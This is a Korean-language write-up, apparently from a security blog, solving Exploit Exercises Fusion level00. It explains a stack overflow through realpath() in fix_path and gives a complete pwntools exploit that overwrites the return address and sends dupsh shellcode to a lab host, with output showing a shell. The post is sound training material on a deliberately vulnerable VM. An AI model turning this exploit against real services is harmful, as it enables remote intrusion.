wargame - fusion / level00
Fusion
fusion 은 system wargame 중 하나이며 여러가지 우회 기법을 배울 수 있는 다양한 문제들을 제공한다.
연습을 위해 pwntools 및 angr 을 사용해서 풀어보기로 한다.
level 00
fusion@fusion:/opt/fusion/bin$ uname -a Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux |
fork() 를 수행하므로 ASLR 은 무시해도 된다.
소스코드를 분석해 보자. 문제가 되는 부분은 아래 fix_path 함수이다.
3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); 9}
일반적으로 strcpy() 함수를 보고 취약하겠구나 라고 생각하겠지만, realpath() 함수 결과에 따라 NULL 이면 return
을 해버리고 있으므로 strcpy 는 실행조차 되지 않는다. 하지만 다행히도 realpath 함수 역시 bof 취약성이 존재한다.
해당 함수 내부에서 memcpy 를 호출하기 때문이다. 첫번째 인자값의 문자열을 두번째 인자값에 복사해 준다.
(원래 realpath 함수의 기능은 ../../ 등의 경로를 resolve 후 절대경로로 변환하여 저장 )
풀이
0 레벨이기 때문에 그냥 단순 bof 수준이다. Path 위치에 139 개가 들어가면 버퍼를 모두 덮어쓰고, RET 를 조작할 수 있다.
- 버퍼주소 : 출력된 버퍼 주소 사용
- 쉘코드 : asm(shellcraft.dupsh(4)) // 쉘을 실행시키고 dup 로 소켓에 fd 복제
# ex_level00.py
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"
buffer_addr = p32(0xbff49498+160)
r = remote("192.168.231.128",20000)
print r.recv(1000)
e = ELF('./level00')
shellcode = asm(shellcraft.dupsh(4))
ret = buffer_addr
nop = "\x90"*60
#payload = "GET " + "A"*139 + "B"*4 +" HTTP/1.1 " + shellcode
payload = "GET " + "A"*139 + ret +" HTTP/1.1 " + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()
hyunmini:fusion $ python ex_level00.py
[*] fusion level00 exploit by hyunmini
[+] Opening connection to 192.168.231.128 on port 20000: Done
[debug] buffer is at 0xbff49498 :-)
[*] '/Users/hyunmini/Desktop/wargame/fusion/level00'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Success!! got shell
[*] Switching to interactive mode
$
$ id
uid=20000 gid=20000 groups=20000
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level02 (0) | 2016.12.29 |
wargame - fusion / level01 (0) | 2016.12.28 |